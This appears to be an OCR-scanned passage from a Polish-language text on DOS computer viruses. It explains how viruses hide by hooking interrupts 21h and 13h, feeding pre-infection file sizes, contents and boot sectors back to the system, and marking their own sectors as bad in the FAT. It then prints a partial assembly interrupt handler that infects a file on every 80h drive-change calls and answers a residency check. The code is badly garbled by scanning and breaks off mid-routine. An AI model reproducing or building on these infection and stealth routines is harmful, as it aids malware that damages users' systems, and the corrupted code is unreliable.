60
Każdemu twórcy wirusa zależy na tym, aby maskował on maksymalnie długo swoją obecność w systemie, tak żeby użytkownik komputera nie zauważał, że system jest zainfekowany oraz żeby nie zauważały tego programy antywirusowe. Niewykryty w porę wirus ma większe możliwości rozmnażania się. Maskowanie odbywa się głównie poprzez przechwycenie niektórych przerwali i podawanie pewnych wartości, takich jak przed zainfekowaniem. Do tego cefu służą głównie przerwania 21H i 13H, chociaż mogą zostać wykorzystane i inne. Informacje, co do których wirus może „oszukiwać" system to:
Podawanie zawartości tablicy partycji i bloku ładującego takich jak przed zarażeniem.
• Podawanie rozmiarów plików takich jak przed zarażeniem
• Podawanie nie tylko rozmiarów, ale i oryginalnej zawartości plików. W tym celu wirus przechwytuje funkcje systemowe czytające z pliku. Te technika nosi nazwę STEALTH (ang. - niewidzialny}
• Podawanie oryginalnych adresów procedur obsługi przerwań przechwyconych przez wirusa
Oprócz tego wirus może wykorzystywać te przerwania do zarażania zbiorów podczas próby dostępu do dysku, do informowania o swojej obecności w systemie (tak aby nie nastąpiła próba ponownej infekcji zarażonego systemu) oraz do uniemożliwienia zapisu czegokolwiek do sektorów zajmowanych przez kod wirusa.
Swoją obecność na dysku wirus może maskować poprzez zaznaczenie sektorów ze swoim kodem jako błędnych w tablicy FAT lub poprzez wpisanie Się do sektorów nie należących dó DOS-owskiego dysku logicznego (np. na dyskietce 5,25" 2S2D na 41 ścieżkę).
Przykładowe procedury obsługi przerwań 13h i 21 h mogą działać następująco:
adresT21łi_ofs dd far ptr (?) liczmkzarazen db O
przerwanie__2 lh:
sti push |
ax |
push |
bx |
push |
cx |
push |
dx |
push |
si |
push |
di |
push |
ds |
push |
es |
pushf cmp |
ah,Oeh |
jne |
pi |
mov |
al,licznik_zarazen |
inc |
al |
and |
al,7fh |
mov |
licznik zarazen,al |
cmp |
al,0 |
jne |
Pl |
cali |
zarazenie_pliku |
jmp |
end_21h |
pl: cmp |
ax,hasło |
jne |
p2 |
popf pop |
es |
pop |
ds |
POP |
di |
pop |
si |
pop |
dx |
pop |
cx |
pop |
bx |
pop |
ax ; In form. |
mov |
ax,odzew ; system |
cli iret p2 : |
end_21h: popf pop
es
Zarażanie pliku raz na 80H operaCji zmiany napędu